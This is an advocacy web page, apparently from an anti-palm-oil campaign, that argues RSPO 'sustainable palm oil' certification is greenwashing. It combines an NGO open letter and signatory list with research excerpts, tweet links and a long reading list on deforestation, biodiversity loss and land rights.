RSPO creates a smokescreen that makes this violence invisible for consumers and financiers. Governments often fail to take regulatory action to stop the expansion of plantations and increasing demand of palm oil; they rely on RSPO to deliver an apparently sustainable flow of palm oil.
For example, in its public propaganda, RSPO claims it supports more than 100,000 small holders. But the profit from palm oil production is still disproportionally appropriated by the oil palm companies: in 2016, 88% of all certified palm oil came from corporate plantations and 99,6% of the production is corporate-controlled.
RSPO also claims that the principle of Free, Prior and Informed Consent (FPIC) is key among its own Principles and Criteria. The right to FPIC implies, among others, that if a community denies the establishment of this monoculture in its territory, operations cannot be carried out. Reality shows us, however, that despite this, many projects go ahead.
Concessions are often guaranteed long before the company reaches out to the affected communities. Under these circumstances, to say that FPIC is central to RSPO is bluntly false and disrespectful.
RSPO also argues that where conflicts with the plantation companies arise, communities can always use its complaint mechanism. However, the mechanism is complex and it rarely solves the problems that communities face and want to resolve.
This becomes particularly apparent in relation to land legacy conflicts where the mechanism is biased against communities. It allows companies to continue exploiting community land until courts have come to a decision. This approach encourages companies to sit out such conflicts and count on court proceedings dragging on, often over decades.
Another argument used by RSPO is that industrial oil palm plantations have lifted millions of people out of poverty. That claim is certainly questionable, even more so considering that there is also an important number of people who have been displaced over the past decades to make space for plantations.
Indigenous communities have in fact lost their fertile land, forests and rivers to oil palm plantations, adversely affecting their food, culture and local economies.
The RSPO promise of “transformation” has turned into a powerful greenwashing tool for corporations in the palm oil industry. RSPO grants this industry, which remains responsible for violent land grabbing, environmental destruction, pollution through excessive use of agrotoxics and destruction of peasant and indigenous livelihoods, a “sustainable” image.
What’s more, RSPO membership seems to suffice for investors and companies to be able to claim that they are “responsible” actors. This greenwash is particularly stunning, since being a member does not guarantee much change on the ground. Only recently, a company became RSPO member after it was found to deforest over 27.000 hectares of rainforest in Papua, Indonesia.
Certification is structurally dependent on the very same policies and regulation that have given rise to the host of environmental devastation and community land rights violations associated with oil palm plantations. These systemic governance issues are part of the destructive economic model, and embedded in state power.
For this reason, voluntary certification schemes cannot provide adequate protection for forests, community rights, food sovereignty and guarantee sustainability. Governments and financiers need to take responsibility to stop the destructive palm oil expansion that violates the rights of local communities and Indigenous Peoples.
As immediate steps, governments need to:
- Put in place a moratorium on palm oil plantations expansion and use that as a breathing space to fix the policy frameworks;
- Drastically reduce demand for palm oil: stop using food for fuel;
- Strengthen and respect the rights of local communities and Indigenous Peoples to amongst others, self-determination and territorial control.
- Promote agro-ecology and community control of their forests, which strengthens local incomes, livelihoods and food sovereignty, instead of advancing industrial agro-businesses.
Signatures
- Aalamaram-NGOAcción Ecológica, Ecuador
- ActionAid, France
- AGAPAN
Amics arbres - Arbres amics
- Amis de la Terre France
- ARAARBA (Asociación para la Recuperación del Bosque Autóctono)
- Asociación Conservacionista YISKI, Costa Rica
Asociación Gaia El Salvador - Association Congo Actif, Paris
- Association Les Gens du Partage, Carrières-sous-Poissy
- Association pour le développement des aires protégées, Swizterland
- BASE IS
- Bézu St Eloi
- Boxberg OT Uhyst
- Bread for all
- Bruno Manser Fund
- CADDECAE, Ecuador
- Campaign to STOP GE Trees
- CAP, Center for Advocacy Practices
- Centar za životnu sredinu/ Friends of the Earth Bosnia and Herzegovina
- CESTA – FOE El Salvador
- CETRI – Centre tricontinental
- Climate Change Kenya
- Coalición de Tendencia Clasista. (CTC-VZLA)
- Colectivo de Investigación y Acompañmiento Comunitario
- Collectif pour la défense des terres malgaches – TANY, Madagascar
- Community Forest Watch, Nigeria
- Consumers Association of Penang
- Corporate Europe Observatory
- Cuttington University
- Down to Earth Consult
- El Campello
- Environmental Resources Management and Social Issue Centre (ERMSIC) Cameroon
- Environmental Rights Action/Friends of the Earth Nigeria
- FASE ES , Brazil
- Fédération romande des consommateurs
- FENEV, (Femmes Environnement nature Entrepreneuriat Vert).
- Focus on the Global South
- Forum Ökologie & Papier, Germany
- Friends of the Earth Ghana
- Friends of the Earth International
- GE Free NZ, New Zealand
- Global Alliance against REDD
- Global Justice Ecology Project
- Global Info
- Gobierno Territorial Autónomo de la Nación Wampís , Peru
- GRAIN
- Green Development Advocates (GDA)
- CameroonGreystones, Ireland
- Groupe International de Travail pour les Peuples Autochtones
Grupo ETC - Grupo Guayubira, Uruguay
- Instituto Mexicano de Gobernanza Medioambiental AC Instituto Mexicano de Gobernanza Medioambiental AC
- Integrated Program for the Development of the Pygmy People (PIDP), DRC
- Justica Ambiental
- Justicia Paz e Integridad de la Creacion. Costa Rica
- Kempityari
- Latin Ambiente, http://www.latinambiente.org
- Les gens du partage
- LOYOLA SCHOOL OF THEOLOGY, MANILA
- Maderas del Pueblo del Sureste, AC
- Maiouri nature, Guyane
- Mangrove Action Project
- Milieudefensie – Friends of the Earth Netherlands
- Movimento Amigos da Rua Gonçalo de Carvalho
- Muyissi Environnement, Gabon
- Nature-d-congo de la République du Congo
- New Wind Association from Finland
- NOAH-Friends of the Earth Denmark
- Oakland Institute
- OFRANEH, Honduras
- Ole Siosiomaga Society Incorporated (OLSSI)
- ONG OCEAN : Organisation Congolaise des Ecologistes et Amis de la Nature et sommes basés en RD Congo.
- OPIROMA, Brazil
- Otros Mundos A.C./Amigos de la Tierra México
- Paramo Guerrrero Zipaquira
- PROYECTO GRAN SIMIO (GAP/PGS-España)
- Quercus – ANCN, Portugal
- Radd (Reseau des Acteurs du Développement Durable) , Cameroon
- Rainforest Foundation UK
- Rainforest Relief
- ReAct – Alliances Transnationales
- RECOMA – Red latinoamericana contra los monocultivos de árboles
- Red de Coordinacion en Biodiversidad , Çosta Rica
- REFEB-Cote d’Ivoire
- Rettet den Regenwald, Germany
- ROBIN WOOD
- Sahabat Alam Malaysia (Friends of the Earth Malaysia)
- Salva la Selva
- School of Democratic Economics, Indonesia
- Serendipalm Company Limited
- Sherpa , The Netherlands
- SYNAPARCAM, Cameroon
- The Corner House, UK
Towards Equitable Sustainable Holistic Development - TRAFFED KIVU ,RD. CONGOUNIÓN UNIVERSAL DESARROLLO SOLIDARIO
University of Sussex, UK - UTB ColombiaWatch Indonesia!
- WESSA
World Rainforest Movement - Youth Volunteers for the Environment Ghana
Epidemics and rapacity of multinational companies in Liberia
Discussion Paper. The Centre for Economic Performance, London School of Economics. Release date: 12th March, 2022
Conclusion
https://twitter.com/CEP_LSE/status/1502238109677015044?s=20&t=CwBhOE-SLGkXtNxC9nXw5w
This paper provides novel granular evidence on the interaction between the Ebola epidemic, deforestation, and palm oil plantations in Liberia. The palm oil multinationals, exploiting the health crisis, stepped up deforestation to increase output. The effect on deforestation is more severe in areas inhabited by politically unrepresented ethnic groups, characterized by a reduction in tree coverage by 6.5%.
We also document an increase of more than 125% in the likelihood of
fire events within concessions during the epidemic. This suggests that not only did the palm oil companies foster deforestation, but further that they used forest fires to do so. This is particularly harmful to the environment, and the smoke and the haze may have severe health consequences, apart from being a source of carbon dioxide.This deforestation was accompanied by a 150% increase in the amount of land dedicated to cultivation.
Read moreThis exploitative behaviour was highly profitable for palm oil companies, with a 1428% increase in the value of Liberian palm oil’s exports compared with the pre-Ebola period. Unfortunately, we cannot say the same for local people or the local environment.
Greenwashing
The RSPO prevents and stops deforestation and fires on palm oil plantations by its members
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https://twitter.com/orangutans/status/1146706666508955648?s=20
https://twitter.com/orangulandtrust/status/1355496891673415680?s=20
https://twitter.com/SimamoraDupito/status/1442410921519771649?s=20
https://twitter.com/orangulandtrust/status/1355827449397915651?s=20
https://twitter.com/orangutans/status/1461673435965313025
https://twitter.com/RSPOtweets/status/1419944414751989760?s=20
https://twitter.com/RSPOtweets/status/1173741858171830272?s=20
https://twitter.com/orangulandtrust/status/1447297851038605315?s=20
https://twitter.com/HersheyCompany/status/1447916947669192709?s=20
https://twitter.com/orangulandtrust/status/1169538449680031745?s=20
https://twitter.com/RSPOtweets/status/1385138817309548544?s=20
https://twitter.com/orangulandtrust/status/1169532824375955456?s=20
https://twitter.com/Nestle/status/1404782473221967872?s=20
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Greenwashing
Lies and denialism in the media about the environmental impact of palm oil
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Research into media coverage of the environmental impact of palm oil in Indonesia shows they deny it’s causing ecocide
We found that media reporting of the denialist narrative is more prevalent than that of the peer-reviewed science consensus-view that palm oil plantations on tropical peat could cause excessive greenhouse gas emissions and enhance the risk of fires.
Our article alerts to the continuation of unsustainable practices as justified by the media to the public, and that the prevalence of these denialist narratives constitute a significant obstacle in resolving pressing issues such as transboundary haze, biodiversity loss, and land-use change related greenhouse gas emissions in Southeast Asia.
Liu, Felicia & Ganesan, Vignaa & Smith, Thomas. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore. Environmental Science & Policy. 114. 162-169. 10.1016/j.envsci.2020.07.004.
https://twitter.com/CPOPC_ORG/status/1448232875535388678?s=20
https://twitter.com/CPOPC_ORG/status/1436104523756433434?s=20
Indonesian President Joko Widodo’s administration has achieved four consecutive years of deforestation declines via land-use reforms and re-establishing a logging moratorium. This significant work culminated in 2020 when the country gained its lowest deforestation rates since monitoring began, reaching a 75% drop year-over-year.
Reality: RSPO “Sustainable” Palm Oil Does Not Stop or Prevent Deforestation
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Tweet from Bart Van Assen, former lead auditor for the RSPO and HCV admitting that the main goal of the RSPO, FSC and other certification initiatives is not to prevent deforestation. (Bart has formerly used @palmoiltruther on Twitter but now changes between @Forest4Apes or @Apes4Forests depending on times when he attempts to conceal his identity).
Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire – Neue Zürcher Zeitung (NZZ)
Certification had no causal impact on forest loss in peatlands or active fire detection rates.
Kimberly M. Carlson, Robert Heilmayr, Holly K. Gibbs, Praveen Noojipady et al. Effect of oil palm sustainability certification on deforestation and fire in Indonesia, PNAS January 2, 2018 115 (1) 121-126 https://doi.org/10.1073/pnas.1704728114
No significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032 (2018).
The Neue Zuercher Zeitung used several cases to highlight where slash-and-burn techniques continue on RSPO-certified land, and where new plantations are threatening important ecosystems. These examples are representative of the huge gap between the need for environmental protection and the ever-increasing global demand for palm oil.
Adina Renner, Conradin Zellweger, Barnaby Skinner. ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. Neue Zürcher Zeitung (May 2021) (In English)
Swiss multinational Nestlé received hundreds of thousands of alerts of forest clearing near its palm oil suppliers in 2019 via satellite monitoring.
Nestlé identified over 1,000 cases of deforestation per day in palm oil areas. SwissInfo (2020).
https://twitter.com/adinarenner/status/1392148610448568329?s=20
Fire outbreaks in and around palm oil concessions (often starting from slash-and-burn fires to clear land for plantations).
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Thousands of fire alerts were recorded by Chain Reaction Research on RSPO member palm oil plantations
The top ten palm oil traders and refiners in Indonesia all had thousands of alerts for fires in their palm oil plantations:
- ADM
- Unilever
- Neste
- Cargill
- Bunge
- Wilmar
- Olam
- AAK
all of these companies are RSPO members
https://youtu.be/jdYT_g9ENxw?t=1346
A still from the Chain Reaction Research video: Which Companies are Expoosed to Deforestation Driven Fires in their Supply ChainsA 2019 World Health Organisation (WHO) report into the palm oil industry and RSPO finds extensive greenwashing of palm oil deforestation and the murder of endangered animals (i.e. biodiversity loss)
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Explore the series
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Join the #Boycott4Wildlife and fight greenwashing and deforestation by using your wallet as a weapon!
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Further reading on palm oil ecocide, greenwashing and deceptive marketing
- A Brief History of Consumer Culture, Dr. Kerryn Higgs, The MIT Press Reader. https://thereader.mitpress.mit.edu/a-brief-history-of-consumer-culture/
- A Deluge of Double-Speak (2017), Jason Bagley. Truth in Advertising. https://truthinadvertising.org/blog/a-deluge-of-doublespeak/
- Aggarwal, P. (2011). Greenwashing: The darker side of CSR. Indian Journal of Applied Research, 4(3), 61-66. https://www.worldwidejournals.com/indian-journal-of-applied-research-(IJAR)/article/greenwashing-the-darker-side-of-csr/MzMxMQ==/?is=1
- Anti-Corporate Activism and Collusion: The Contentious Politics of Palm Oil Expansion in Indonesia, (2022). Ward Berenschot, et. al., Geoforum, Volume 131, 2022, https://doi.org/10.1016/j.geoforum.2022.03.002
- Armour, C. (2021). Green Clean. Company Director Magazine. https://www.aicd.com.au/regulatory-compliance/regulations/investigation/green-clean.html
- Balanced Growth (2020), In: Leal Filho W., Azul A.M., Brandli L., özuyar P.G., Wall T. (eds) Responsible Consumption and Production. Encyclopedia of the UN Sustainable Development Goals. Springer, Cham
- Berenschot, W., Hospes, O., & Afrizal, A. (2023). Unequal access to justice: An evaluation of RSPO’s capacity to resolve palm oil conflicts in Indonesia. Agriculture and Human Values, 40, 291-304. https://doi.org/10.1007/s10460-022-10360-z
- Carlson, K. M., Heilmayr, R., Gibbs, H. K., Noojipady, P., et al. (2018). Effect of oil palm sustainability certification on deforestation and fire in Indonesia. PNAS, 115(1), 121-126. https://doi.org/10.1073/pnas.1704728114
- Cazzolla Gatti, R., Liang, J., Velichevskaya, A., & Zhou, M. (2018). Sustainable palm oil may not be so sustainable. Science of The Total Environment, 652, 48-51. https://pubmed.ncbi.nlm.nih.gov/30359800/
- Changing Times Media. (2019). Roundtable on Sustainable Palm Oil is ‘greenwashing’ labelled products, environmental investigation agency says. Changing Times Media. https://changingtimes.media/2019/11/03/roundtable-on-sustainable-palm-oil-is-greenwashing-labelled-products-environmental-protection-agency-says/
- Client Earth: The Greenwashing Files. https://www.clientearth.org/projects/the-greenwashing-files/
- Commodifying sustainability: Development, nature and politics in the palm oil industry (2019). World Development, Volume 121, September 2019, Pages 218-228. https://ideas.repec.org/a/eee/wdevel/v121y2019icp218-228.html
- Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia and Singapore (2020). Liu, F. H. M., Ganesan, V., Smith, T. E. L. Environmental Science & Policy, 114. https://www.researchgate.net/publication/343772443_Contrasting_communications_of_sustainability_science_in_the_media_coverage_of_palm_oil_agriculture_on_tropical_peatlands_in_Indonesia_Malaysia_and_Singapore
- Cosimo, L. H. E., Masiero, M., Mammadova, A., & Pettenella, D. (2024). Voluntary sustainability standards to cope with the new European Union regulation on deforestation-free products: A gap analysis. Forest Policy and Economics, 164, 103235. https://doi.org/10.1016/j.forpol.2024.103235
- Dalton, J. (2018). No such thing as sustainable palm oil – ‘certified’ can destroy even more wildlife, say scientists. The Independent. https://www.independent.co.uk/climate-change/news/palm-oil-sustainable-certified-plantations-orangutans-indonesia-southeast-asia-greenwashing-purdue-a8674681.html
- Davis, S. J., Alexander, K., Moreno-Cruz, J., et al. (2023). Food without agriculture. Nature Sustainability. https://www.nature.com/articles/s41893-023-01241-2
- EIA International. (2022). Will palm oil watchdog rid itself of deforestation or continue to pretend its products are sustainable? EIA International. https://eia-international.org/news/will-palm-oil-watchdog-rid-itself-of-deforestation-or-continue-to-pretend-its-products-are-sustainable/
- Environmental Investigation Agency. (2019). Palm oil watchdog’s sustainability guarantee is still a destructive con. EIA International. https://eia-international.org/news/palm-oil-watchdogs-sustainability-guarantee-is-still-a-destructive-con/
- Federal Trade Commission. (n.d.). Green Guides. https://www.ftc.gov/news-events/topics/truth-advertising/green-guides
- Fifteen environmental NGOs demand that sustainable palm oil watchdog does its job (2019). Rainforest Action Network. https://www.ran.org/press-releases/fifteen-environmental-ngos-demand-that-sustainable-palm-oil-watchdog-does-its-job/
- Friends of the Earth International. (2018). RSPO: 14 years of failure to eliminate violence and destruction from the industrial palm oil sector. Friends of the Earth International. https://www.foei.org/rspo-14-years-of-failure-to-eliminate-violence-and-destruction-from-the-industrial-palm-oil-sector/
- Lang, Chris and REDD Monitor. Sustainable palm oil? RSPO’s greenwashing and fraudulent audits exposed. The Ecologist. https://theecologist.org/2015/nov/19/sustainable-palm-oil-rspos-greenwashing-and-fraudulent-audits-exposed
- Gatti, L., Pizzetti, M., & Seele, P. (2021). Green lies and their effect on intention to invest. Journal of Business Research, 127, 376-387. https://doi.org/10.1016/j.jbusres.2021.01.028
- Global Witness. (2023). Amazon palm: Ecocide and human rights abuses. Global Witness. https://www.globalwitness.org/en/campaigns/environmental-activists/amazon-palm/
- Global Witness. (2021). The True Price of Palm Oil. Global Witness. https://www.globalwitness.org/en/campaigns/forests/true-price-palm-oil/
- Grain. (2021). Ten reasons why certification should not be promoted in the EU anti-deforestation regulation. Grain. https://grain.org/en/article/6856-ten-reasons-why-certification-should-not-be-promoted-in-the-eu-anti-deforestation-regulation
- Green Clean (2021). Armour, C. Company Director Magazine.
- Green marketing and the Australian Consumer Law (2011). Australian Competition and Consumer Commission. https://www.accc.gov.au/system/files/Green%20marketing%20and%20the%20ACL.pdf
- Greenwash and spin: palm oil lobby targets its critics (2011). Helan, A. Ecologist: Informed by Nature. https://theecologist.org/2011/jul/08/greenwash-and-spin-palm-oil-lobby-targets-its-critics
- Greenwashing: definition and examples. Selectra https://climate.selectra.com/en/environment/greenwashing#:~:text=Greenwashing%20is%20the%20practice%20of,its%20activities%20pollute%20the%20environment.
- Greenwashing of the Palm Oil Industry (2007). Mongabay. https://news.mongabay.com/2007/11/greenwashing-the-palm-oil-industry/
- Group Challenges Rainforest Alliance Earth-Friendly Seal of Approval (2015). Truth in Advertising. https://www.truthinadvertising.org/group-challenges-rainforest-alliance-earth-friendly-seal-of-approval
- Helan, A. (2011). Greenwash and spin: palm oil lobby targets its critics. Ecologist: Informed by Nature. https://theecologist.org/2011/feb/15/greenwash-and-spin-palm-oil-lobby-targets-its-critics
- Hewlett Packard. (2021). What is Greenwashing and How to Tell Which Companies are Truly Environmentally Responsible. Hewlett Packard. https://www.hp.com/us-en/shop/tech-takes/what-is-greenwashing-environmentally-responsible-companies
- Holzner, A., Rameli, N. I. A. M., Ruppert, N., & Widdig, A. (2024). Agricultural habitat use affects infant survivorship in an endangered macaque species. Current Biology. https://pubmed.ncbi.nlm.nih.gov/38194972/
- How Cause-washing Deceives Consumers (2021). Truth in Advertising. https://truthinadvertising.org/resource/how-causewashing-deceives-consumers/
- International Labour Organization. (2020). Forced labor in the palm oil industry. ILO. https://www.ilo.org/topics/forced-labour-modern-slavery-and-human-trafficking
- Jauernig, J., Uhl, M., & Valentinov, V. (2021). The ethics of corporate hypocrisy: An experimental approach. Futures, 129, 102757. https://doi.org/10.1016/j.futures.2021.102757
- Kirby, D. (2015). Sustainable Palm Oil? Who Knows, Thanks to Derelict Auditors. Take Part. https://www.yahoo.com/news/sustainable-palm-oil-knows-thanks-derelict-auditors-200643980.html
- Li, T. M., & Semedi, P. (2021). Plantation life: Corporate occupation in Indonesia’s oil palm zone. Duke University Press. https://www.dukeupress.edu/plantation-life
- Liu, F. H. M., Ganesan, V., & Smith, T. E. L. (2020). Contrasting communications of sustainability science in the media coverage of palm oil agriculture on tropical peatlands in Indonesia, Malaysia, and Singapore. Environmental Science & Policy, 114. https://www.researchgate.net/publication/343772443_Contrasting_communications_of_sustainability_science_in_the_media_coverage_of_palm_oil_agriculture_on_tropical_peatlands_in_Indonesia_Malaysia_and_Singapore
- Meemken, E. M., Barrett, C. B., Michelson, H. C., et al. (2021). Sustainability standards in global agrifood supply chains. Nature Food. https://doi.org/10.1038/s43016-021-00299-2
- Miles, T. (2019). Study in WHO journal likens palm oil lobbying to tobacco and alcohol industries. Reuters. https://www.reuters.com/article/idUSKCN1P21ZR/
- Nygaard, A. (2023). Is sustainable certification’s ability to combat greenwashing trustworthy? Frontiers in Sustainability, 4, Article 1188069. https://doi.org/10.3389/frsus.2023.1188069
- Oppong-Tawiah D, Webster J. Corporate Sustainability Communication as ‘Fake News’: Firms’ Greenwashing on Twitter. Sustainability. 2023; 15(8):6683. https://www.mdpi.com/2071-1050/15/8/6683
- Pabon, J. (2024). The great greenwashing: How brands, governments, and influencers are lying to you. Anansi International. https://www.vitalsource.com/products/the-great-greenwashing-john-pabon-v9781487012878
- Podnar, K., & Golob, U. (2024). Brands and activism: Ecosystem and paradoxes. Journal of Brand Management, 31, 95–107. https://link.springer.com/article/10.1057/s41262-024-00355-y
- Rainforest Action Network. (2019). Fifteen environmental NGOs demand that sustainable palm oil watchdog does its job. RAN. https://www.ran.org/press-releases/fifteen-environmental-ngos-demand-that-sustainable-palm-oil-watchdog-does-its-job/
- Renner, A., Zellweger, C., & Skinner, B. (2021). ‘Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire’. Neue Zürcher Zeitung. https://www.nzz.ch/english/palm-oil-boom-threatens-protected-rainforest-in-indonesia-ld.1625490
- Saager, E. S., Iwamura, T., Jucker, T., & Murray, K. A. (2023). Deforestation for oil palm increases microclimate suitability for the development of the disease vector Aedes albopictus. Scientific Reports, 13(1), 9514. https://www.nature.com/articles/s41598-023-35452-6
- Southey, F. (2021). What do Millennials think of palm oil? Nestlé investigates. Food Navigator. https://www.foodnavigator.com/Article/2021/08/12/What-do-Millennials-think-of-palm-oil-Nestle-investigates
- Transparency International. (2023). Transparency international report: Corruption and corporate capture in Indonesia’s top 50 palm oil companies. Transparency International. https://palmoildetectives.com/2023/05/14/transparency-international-report-corruption-and-corporate-capture-in-indonesias-top-50-palm-oil-companies/
- Truth in Advertising. (2022). Companies accused of greenwashing. https://truthinadvertising.org/articles/companies-accused-greenwashing/
- Truth in Advertising. (n.d.). How causewashing deceives consumers. https://truthinadvertising.org/resource/how-causewashing-deceives-consumers/
- Tybout, A. M., & Calkins, T. (Eds.). (2019). Kellogg on Branding in a Hyper-Connected World. Kellogg School of Management, Northwestern University. https://www.wiley.com/en-au/Kellogg+on+Branding+in+a+Hyper-Connected+World-p-9781119533184
- Wicke, J. (2019). Sustainable palm oil or certified dispossession? NGOs within scalar struggles over the RSPO private governance standard. Bioeconomy & Inequalities: Working Paper No. 8. https://www.bioinequalities.uni-jena.de/sozbemedia/WorkingPaper8.pdf
- World Health Organisation. (2019). The palm oil industry and noncommunicable diseases. World Health Organisation Bulletin, 97, 118-128. https://pubmed.ncbi.nlm.nih.gov/30728618/
- World Rainforest Movement. (2021, November 22). Why the RSPO facilitates land grabs for palm oil. https://wrm.org.uy/articles-from-the-wrm-bulletin/section1/why-the-rspo-facilitates-land-grabs-for-palm-oil/
- Zuckerman, J. (2021). The Time Has Come to Rein In the Global Scourge of Palm Oil. Yale Environment 360, Yale School of Environment. https://e360.yale.edu/features/the-time-has-come-to-rein-in-the-global-scourge-of-palm-oil
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Greenwashing Tactic #7: Lying
Telling outright lies over and over again to consumers until they are believed as truth
Greenwashing by Lying
Blatant lies that appear in advertising or on social media. The lie could be falsifying support from respected authorities or individuals on environmental issues. Or the lie could be research with ambiguous results being made to sound positive. Sometimes, it is a clear and obvious lie.
Tweet this…
#Greenwashing Tactic #7: Lying: Telling outright lies to #consumers until they are believed as truth. #palmoil lobbyists and global food companies lie about ‘sustainable’ #palmoil #Boycott4Wildlife #Boycottpalmoil #FightGreenwashing
Jump to section
Greenwashing: Endangered species
Reality: Endangered species
Greenwashing: Human rights, land-grabbing and livelihoods for workers
Reality: Human rights, land-grabbing and livelihoods for workers
An open letter from Friends of the Earth and 100 Human Rights NGOs
Greenwashing: Deforestation and fire
Greenwashing: Lies and denialism in the media
Reality: Deforestation and fire
Explore the Series
Further reading: greenwashing and deceptive marketing
Say thanks for this guide by donating to my Ko-Fi
Greenwashing:
RSPO certification protects endangered species living in tropical rainforests
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RSPO marketing materials make grand claims that are not supported by any evidence at all.https://twitter.com/RSPOtweets/status/1660543540378697729?s=20
The team from Chester Zoo encourage children to save endangered species by buying sustainable palm oil.
Lyrics: ‘We have a choice – and it’s sustainable palm oil’
Michelle Desilets, Manager of Orangutan Land Trust explains in this video that ‘deforestation is prohibited by the RSPO’.
What she does not mention is that none of the RSPO’s members have actually stopped deforestation in the 17 years since it began.
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https://twitter.com/RSPOtweets/status/1200683887497756672?s=20
https://twitter.com/RSPOtweets/status/894844642327502848?s=20
https://twitter.com/RSPOtweets/status/1281240693285875712?s=20
https://twitter.com/griffjane/status/1301407429373165568?s=20
https://twitter.com/RSPOtweets/status/1305809870281732096?s=20
https://twitter.com/orangulandtrust/status/1246908272931753988?s=20
https://twitter.com/orangulandtrust/status/1002860521215942656?s=20
https://twitter.com/RSPOtweets/status/1414519913457270794?s=20
Reality: “Sustainable” Palm Oil does not stop biodiversity loss
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“In the plantation, the calls of birds and beasts are replaced by a deathly silence, which is particularly eerie in the glaring heat of the midday sun. Sounds of life are replaced by sounds of death—roaring bull-dozers, gnawing chainsaws, the crackle of illegal burning, and the rumble of overloaded trucks carrying oil palm fruit and timber.”.
Currently certified grower supply bases and concessions in Sumatra and Borneo are located in large mammal’s habitat and in areas that were biodiverse tropical forests less than 30 years ago. We suggest that certification schemes claim for the “sustainable” production of palm oil just because they neglect a very recent past of deforestation and habitat degradation.
Roberto Cazzolla Gatti, Alena Velichevskaya, Certified “sustainable” palm oil took the place of endangered Bornean and Sumatran large mammals habitat and tropical forests in the last 30 years, Science of The Total Environment, Vol 742, 2020,
https://doi.org/10.1016/j.scitotenv.2020.140712.Oil palm plantations support much fewer species than do forests and often also fewer than other tree crops. Further negative impacts include habitat fragmentation and pollution, including greenhouse gas emissions.
Emily B. Fitzherbert, Matthew J. Struebig, Alexandra Morel, Finn Danielsen, Carsten A. Brühl, Paul F. Donald, Ben Phalan, How will oil palm expansion affect biodiversity?,
Trends in Ecology & Evolution, Vol 23, 2008, https://doi.org/10.1016/j.tree.2008.06.012.We found that certified plantation concessions that are committed to deforestation-free production are limited in their ability to prevent further biodiversity loss, due to the past conversion of forest habitats to plantations. Concession holders can improve forest habitats through corridor development and other measures, which would mitigate, but not prevent, further biodiversity loss.
Hideyuki Kubo, Arief Darmawan, Hendarto, André Derek Mader,
The effect of agricultural certification schemes on biodiversity loss in the tropics,
Biological Conservation, Volume 261, 2021, https://doi.org/10.1016/j.biocon.2021.109243.We uncover the global patterns of oil palm expansion and find that global oil palm expansion has a very high degree of potential conflict with local biodiversity. Globally, 99.9% of oil palm plantations overlapped with Conservation Priority Zones (CPZs) and oil palm plantations encroached on 231 protected areas.
Le Yu, Yue Cao, Yuqi Cheng, Qiang Zhao, Yidi Xu, Kasturi Kanniah, Hui Lu, Rui Yang & Peng Gong (2022) A study of the serious conflicts between oil palm expansion and biodiversity conservation using high-resolution remote sensing, Remote Sensing Letters, DOI: 10.1080/2150704X.2022.2063701
https://twitter.com/adinarenner/status/1392148610448568329?s=20
We found a high overlap between areas of high oil palm suitability and areas of high conservation priority for primates. Overall, we found only a few small areas where oil palm could be cultivated in Africa with a low impact on primates (3.3 Mha, including all areas suitable for oil palm). These results warn that, consistent with the dramatic effects of palm oil cultivation on biodiversity in Southeast Asia, reconciling a large-scale development of oil palm in Africa with primate conservation will be a great challenge.
Small room for compromise between oil palm cultivation and primate conservation in Africa
Giovanni Strona, Simon D. Stringer, Ghislain Vieilledent, et. al.
Proceedings of the National Academy of Sciences (2018), 115 (35) 8811-8816; DOI: 10.1073/pnas.1804775115As of 2019, more than 60% of the palm oil plantations in the study area were in Key Biodiversity Areas. KBAs are sites that contribute significantly to the global persistence of biodiversity in terrestrial, freshwater and marine ecosystems. RSPO-certified plantations, comprising 63% of the total cultivated area assessed, did not produce a statistically significant reduction in deforestation and appear to be ineffective at reducing encroachment into ecologically sensitive areas in Guatemala.
Calli P. VanderWilde, Joshua P. Newell, Dimitrios Gounaridis, Benjamin P. Goldstein,
Deforestation, certification, and transnational palm oil supply chains: Linking Guatemala to global consumer markets, Journal of Environmental Management,
Volume 344, 2023. https://doi.org/10.1016/j.jenvman.2023.118505There was no significant difference was found between certified and non-certified plantations for any of the sustainability metrics investigated, however positive economic trends including greater fresh fruit bunch yields were revealed. To achieve intended outcomes, RSPO principles and criteria are in need of substantial improvement and rigorous enforcement.
Morgans, C. L. et al. Evaluating the effectiveness of palm oil certification in delivering multiple sustainability objectives. Environ. Res. Lett. 13, 064032, 2018.
“The big message is that oil palm is bad for biodiversity, in every sense of the word — even when compared to damaged rainforests that are regenerating after earlier logging or clearing.”
Professor Bill Laurance, James Cook University. ‘Palm oil plantations are bad for wildlife great and small’. The Conversation.
We analyse consequences of the globally important land-use transformation from tropical forests to oil palm plantations. Species diversity, density and biomass of invertebrate communities suffer at least 45% decreases from rainforest to oil palm.
Barnes, A., Jochum, M., Mumme, S. et al. Consequences of tropical land use for multitrophic biodiversity and ecosystem functioning. Nat Commun 5, 5351 (2014). https://doi.org/10.1038/ncomms6351
Palm oil also poses a global risk for zoonotic diseases such as Covid-19
Taking into account the human population growth, we find that the increases in outbreaks of zoonotic and vector-borne diseases from 1990 to 2016 are linked with deforestation, mostly in tropical countries, and with reforestation, mostly in temperate countries. We also find that outbreaks of vector-borne diseases are associated with the increase in areas of palm oil plantations.
Outbreaks of Vector-Borne and Zoonotic Diseases Are Associated With Changes in Forest Cover and Oil Palm Expansion at Global Scale
(2021) Morand Serge, Lajaunie Claire, Frontiers in Veterinary Science. https://www.frontiersin.org/article/10.3389/fvets.2021.661063
DOI=10.3389/fvets.2021.661063Is there such a thing as sustainable palm oil? Satellite images show protected rainforest on fire – Neue Zürcher Zeitung (NZZ)
Fire started within orangutan habitats and destroyed them – this was not investigated by the RSPO
The team used map data from @globalforests and @UMBaltimore, #sentinel2 images from @esa, concession boundaries from @RSPOtweets and #fire hotspot data (#VIIRS) from @NASAEarth.
Originally tweeted by Adina Renner (@adinarenner) on May 10, 2021.
Read moreAsia: Species Endangered by Palm Oil Deforestation
Africa: Species Endangered by Palm Oil Deforestation
Papua New Guinea & West Papua: Species Endangered by Palm Oil Deforestation
South America: Species Endangered by Palm Oil Deforestation
Greenwashing
‘Europeans have destroyed their forests for agriculture, so why can’t we do the same in the tropics? Stopping our economic development is hypocrisy and colonialism’
‘Sustainable palm oil helps the livelihood of workers on RSPO certified palm oil plantations.‘
